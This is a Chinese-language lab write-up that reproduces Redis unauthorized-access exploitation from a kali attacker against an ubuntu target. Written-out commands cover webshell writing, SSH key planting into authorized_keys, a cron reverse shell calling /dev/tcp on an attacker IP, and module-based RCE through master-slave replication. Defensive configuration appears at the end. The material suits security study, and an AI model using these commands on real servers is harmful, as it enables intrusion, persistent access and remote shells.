redis未授权访问漏洞复现
攻击原理
Redis安装后,默认情况下,会绑定在 0.0.0.0:6379
,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config
命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥
写入目标服务器的 /root/.ssh
文件夹的authotrized_keys
文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错)
漏洞的产生条件有以下两点:
(1) Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网
(2) 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务
漏洞影响版本
Redis 2.x,3.x,4.x,5.x
漏洞危害
(1) 攻击者无需认证访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据
(2) 攻击者可通过eval执行lua代码,或通过数据备份功能往磁盘写入后门文件
(3) 如果redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录目标服务器
攻击复现
环境搭建
攻击机: kali 2023.1
靶机: ubuntu 22.04.2
靶机安装redis服务器(redis-server)
下载redis-4.0.10
wget http://download.redis.io/releases/redis-4.0.10.tar.gz
解压,进入源码目录,然后编译(make、make install)
1
2
3
4tar -zxf redis-4.0.10.tar.gz
cd redis-4.0.10
make
make install我这里make出现了错误,缺少gcc
1
2
3
4
5
6
7
8
9cd src && make all
make[1]: Entering directory '/home/ubuntu/redis-4.0.11/src'
CC adlist.o
/bin/sh: 1: cc: not found
Makefile:228: recipe for target 'adlist.o' failed
make[1]: *** [adlist.o] Error 127
make[1]: Leaving directory '/home/ubuntu/redis-4.0.11/src'
Makefile:6: recipe for target 'all' failed
make: *** [all] Error 2apt install gcc
1
2
3
4
5
6
7
8
9
10
11cd src && make all
make[1]: Entering directory '/home/ubuntu/redis-4.0.11/src'
CC adlist.o
In file included from adlist.c:34:0:
zmalloc.h:50:10: fatal error: jemalloc/jemalloc.h: No such file or directory
#include <jemalloc/jemalloc.h>
^~~~~~~~~~~~~~~~~~~~~
compilation terminated.
Makefile:228: recipe for target 'adlist.o' failed
make[1]: *** [adlist.o] Error 1
make[1]: Leaving directory '/home/ubuntu/redis-4.0.11/src'可以通过 mkae MALLOC=libc
需要修改配置文件redis.conf
1
2bind 0.0.0.0
protected-mode no启动服务(redis-server)
启动redis服务,注意关闭防火墙,Ubuntu除了iptables机制,还有ufw安全机制ufw staus
看是否关闭
启动服务
kali安装redis
下载redis-4.0.10(跟上面一样)//但是我用的2.8
解压,编译(跟什么一样)
测试是否能连接
这里连接后发现输入info报错
还是因为protected-mode原因在靶机再开一个虚拟终端
1 | root@ubuntu:/data/redis-4.0.6# ./src/redis-cli |
漏洞复现
测试目标靶机是否存在未授权访问
写入webshell
利用条件:目标开启了web服务器,并且知道web路径(可以利用phpinfo或者错误暴路径等),还需要具有读写增删改查权限
1 | config get dir |
在写入webshell的时候,可以使用:\r\n
来换行,有些redis版本写文件会自带一些版本文件,可能导致无法解析。
当数据库过大时,redis写shell:
1 |
|
看到靶机是否写入文件
写入ssh公钥
SSH提供两种登录验证方式:一种是口令验证也就是账号密码登录,另一种是密钥验证,这里只简单说一下密钥验证的原理。
所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密,其中公钥是公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:
(1)客户端生成私钥和公钥,并把公钥拷贝给服务器端;
(2)客户端发起公钥认证请求,发送自己的相关信息;
(3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录;若有则使用该公钥对一个随机的256位的字符串进行加密,并发送给客户端;
(4)客户端收到服务器发来的加密后的消息后使用私钥解密,并生成一个MD5值发送给服务器端;
(5)服务器端根据原始随机字符串生成MD5值进行匹配, 确认客户端身份,若一样则允许登录,不一样则拒绝登录。
原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key。
在攻击机上生成ssh公钥,密码设置为空 为空就是在生成公钥和私钥的过程中回车即可
进入/root/.ssh将公钥写入key.txt文件(前后用\n换行,避免和redis里其他缓存数据混合)。
(echo -e “\n”;cat id_rsa.pub;echo -e “\n”)>key.txt
再把key.txt文件内容写入redis缓冲
cat /root/.ssh/key.txt |./redis-cli -h 192.168.10.139 -x set pub
设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys,
注意: redis 可以创建文件但无法创建目录,所以,redis 待写入文件所在的目录必须事先存在。出现如下图错误是因为目标靶机不存在.ssh目录(默认没有,需要生成公、私钥或者建立ssh连接时才会生成)
注: 在靶机中需要开启ssh服务才行,在靶机中输入systemctl start sshd,开启ssh服务
如果没有就apt install openssh-server就行了
- 然后测试是否能连接
出现现在这个界面就进入靶机了,输入命令将是靶机的内容了
定时任务,反弹shell
在攻击机开启监听
nc -lnvp 1234
连接redis服务器,写入反弹shell。
1
2
3
4SET xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.26.120/1234 0>&1\n\n"
CONFIG SET dir /var/spool/cron
CONFIG SET dbfilename root
save
这个复现了很长时间o(╥﹏╥)o,配环境,
登陆ubuntu查看计划任务,已经成功写入。但是发现计划中存在乱码,也就是这些乱码导致计划任务执行错误。
这是由于redis向任务计划文件里写内容出现乱码而导致的语法错误,而乱码是避免不了的,centos会忽略乱码去执行格式正确的任务计划,而ubuntu并不会忽略这些乱码,所以导致命令执行失败,因为自己如果不使用redis写任务计划文件,而是正常向/etc/cron.d目录下写任务计划文件的话,命令是可以正常执行的,所以还是乱码的原因导致命令不能正常执行,而这个问题是不能解决的,因为利用redis未授权访问写的任务计划文件里都有乱码,这些代码来自redis的缓存数据。
动把乱码删除,发现依然无法成功反弹shell。这是为什么呢?
根据网上搜到改后配置后,连接成功
redis主从复制
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机(master),其他实例都作为备份机(slave),其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
redis模块
1 | 在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。编写恶意so文件的代码 |
利用原理
1 | 在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了。很多主从复制导致任意命令执行都是通过Redis的未授权访问漏洞导致了横向移动攻击方式的发生。 |
复现kali靶机就行:
下载恶意os文件
git clone https://github.com/RicterZ/RedisModules-ExecuteCommand
然后编译源码make,
下载工具getshell
git clone https://github.com/Ridter/redis-rce
将第一步的module.so反正攻击目录下
第三步直接用脚本
python redis-rce.py -r 127.0.0.1 -p 6307 -L 127.0.0.1 -f module.so
按i进入交互式输入命令就行,重要是理解原理
Redis主从复制手动挡
1.使用脚本,监听本地端口1234,加载exp.so。
1
python RogueServer.py --lport 1234 --exp exp.so
2、通过未授权访问连入要攻击的redis服务器。
执行相关命令:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19#设置redis的备份路径为当前目录
config set dir ./
#设置备份文件名为exp.so,默认为dump.rdb
config set dbfilename exp.so
#设置主服务器IP和端口
slaveof 192.168.172.129 1234
#加载恶意模块
module load ./exp.so
#切断主从,关闭复制功能
slaveof no one
#执行系统命令
system.exec 'whoami'
system.rev 127.0.0.1 9999
#通过dump.rdb文件恢复数据
config set dbfilename dump.rdb
#删除exp.so
system.exec 'rm ./exp.so'
#卸载system模块的加载
module unload system
防御措施
限制ip访问 如修改的配置文件
增加远程登录密码
禁止远程危险命令
1
2
3rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""低权限运行Redis服务
为Redis服务创建单独的user
和home
目录,并且配置禁止登陆
1 | groupadd -r redis && useradd -r -g redis redis |
保证authorized_keys文件的安全
阻止其他用户添加新的公钥。将authorized_keys
的权限设置为对拥有者只读,其他用户没有任何权限